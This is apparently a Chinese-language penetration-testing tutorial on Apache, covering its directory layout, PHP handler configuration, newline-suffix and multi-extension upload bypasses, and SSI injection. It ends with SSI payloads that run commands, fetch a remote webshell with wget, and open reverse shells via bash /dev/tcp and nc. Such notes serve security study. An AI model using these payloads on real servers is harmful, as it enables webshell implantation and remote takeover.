Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。
简单来说就是一个好用的,并且能支持基础的HTML、PHP、Perl、Python等语言。很强
常见目录:
bin ------------- 存放常用的命令工具。例如httpd
cgi-bin --------- 存放Linux下常用的命令,例如xxx.sh
conf ----------- Linux的配置相关文件,例如httpd.conf
error ----------- 错误记录
htdocs ----------- 放网站源码
icons ------------- 网站图标
logs ---------------------- 日志
manual -------------------- 手册
modules -------------------- 扩展模块
浏览器向web服务器发送一个请求,如果请求的是静态资源,那么Apache直接返回给浏览器;如果请求的是动态资源,那么Apache会调用脚本程序php去处理(可能会与数据库交互),然后在返回给Apache封装成静态资源后返回给浏览器,浏览器将其展示出来。
PHP架构图:
httpd.conf文件
# 加载php5_module模块
LoadModule php5_module php5apache2_2.dll的路径
# 添加可以执行php的问价类型,让.php文件类型解析为PHP
AddType application/x-httpd-php .php
# 或者将AddType变为下下面的(在Apache 2.4.0~2.4.29中默认使用了该方式)
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
以及
<IfModule dir_module>
DirectoryIndex index.html index.htm index.php index.phtml
</Ifmodule>
Apache调用php的流程为:
HTTP --> Apache --> php5_module --> sapi --> php
影响版本:Apache 2.4.0 ~ 2.4.29
影响说明:绕过服务器策略,上传webshell
环境说明:PHP5.5、Apache2.4.10
漏洞原理:在php文件名后缀加了0x0a(换行),使得逃过了黑名单的检查,而Apache配置文件可以正确匹配.php0x0a的文件并当作php去解析。
注:在windows中不行,因为windows不允许换行符做文件名。所以虽然可以上传绕过检测,但文件无法保存。
漏洞复现:传送门
例子:
apache支持php有多种模式,常见的有module、cgi、fastcgi等,此漏洞存在于module模式(关于CGI、FastCGI、PHP-FPM与Module模式传送门)。
Apache在遇到多个后缀的文件时,尝试从后往前解析,直到解析到可解析的为止。例如test.php.xxx就按照php去解析,test.php.aaa.jpg就按照php去解析。
根据这个原理,我们可以上传文件名如shell.php.xxx的文件,以此来绕过后端黑名单的检测,从而上传成功而且又能被Apache按照php去解析。
apache配置httpd.conf
AddHandle application/x-httpd-php .php
或者
<FileMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FileMatch>
在/etc/mime.types中有定义哪些后缀是apache识别的
SSI(server-side includes):是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在Apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开启SSI需要单独配置Apache,可以参考SSI配置。SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能非常强大。
<pre>
<!--#exec cmd="whoami"-->
</pre>
# 上传webshell
<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
<!--#exec cmd="echo '<?php phpinfo(); ?>' > shell.php"-->
# 反弹shell
<!--#exec cmd="bash -i >& /dev/tcp/192.168.1.120/8888 0>&1" -->
<!--#exec cmd="nc x.x.x.x 8888 -e /bin/bash" -->